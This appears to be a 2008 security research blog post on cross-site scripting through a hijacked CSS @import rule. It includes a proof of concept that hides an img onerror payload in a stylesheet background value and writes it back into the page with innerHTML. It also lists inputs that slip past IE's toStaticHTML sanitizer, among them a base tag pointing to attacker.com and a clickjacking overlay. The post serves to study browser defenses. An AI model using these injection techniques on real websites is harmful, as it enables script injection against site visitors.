November 02, 2008

Cross site scripting with @import

Intro

It's been getting harder and harder to get JavaScript executed via content in style sheets or to nest payload or other useful code inside CSS selectors and properties. IE8 will get rid of expression() for most rendering modes soon, FF at least tries to narrow the door crack and Webkit respectively Chrome going to to be a topic in a future article. Opera doesn't have anything comparable in stock yet.

Pretty interesting is though how the browsers white-list the properties that are allowed - on how the can be accessed via DOM. Mozilla browsers ship a list of known properties and don't allow any others to be present. IE8 brings a white-list too. Gareth Heyes recently presented the use of an IE only CSS property to inject expression() CSS via name into document.styleSheets[0].cssText - but we remember - expressions be gone soon. So let's have a look at another approach - via @import.

Code

Imagine the attacker has found a way to change the path pf the @import directive in the attacked web site's style sheet. And he can either include an on- or off-domain resource. Expressed in code this would look like this:

<html>
<head>
<style>
@import url("evil.php");
</style>
</head>
<body>
<div id="test"></div>
</body>
</html>

And of course the corresponding style sheet. Note that the actual payload is embedded inside the property value for background - a value that can hardly be validated via white-lists.

i{background: url('<img src=x onerror=alert("XSS")>')}

Now there's a way needed that allows to read the value of the background property and add it to the current site's markup. It's not so easy to access the values of imported CSS properties but both FF and IE provide their own way.

<script>
window.onload = function() {
try {
    document.body.innerHTML = document.defaultView.document.styleSheets[0].cssRules[0].styleSheet.cssRules[0].cssText;
} catch(e) {
    document.body.innerHTML=document.styleSheets[0].imports[0].cssText;
}
}
</script>

The property value passed the white-list checks and gets written into the DOM via innerHTML and thereby the markup tree is being parsed again. Which leads to execution of the alert. Speaking of white-lists - it's pretty interesting what Microsoft is trying with their new and proprietary toStaticHtml() method. It's almost impossible letting active code slip through unless hardcore char-set/encoding based obfuscation is being used but the following examples pass untouched.

alert(window.toStaticHTML('<label style="overflow:hidden;background:red;display:block;width:4000px;height:4000px;position:absolute;top:0px;left:0px;" for="submit">Click'));
alert(window.toStaticHTML('<base href="http://attacker.com/"></base>'));
alert(window.toStaticHTML('<marquee>foo</marquee>'));

Conclusion

There are still ways to embed JavaScript payload in style sheets but the possibilities to have the code executed without any trigger in the markup are shrinking in numbers. It will be interesting to see how the next Safari releases deal with -webkit-binding and how Google will embed this into Chrome. Currently there's no support enabled for -webkit-binding in Chrome.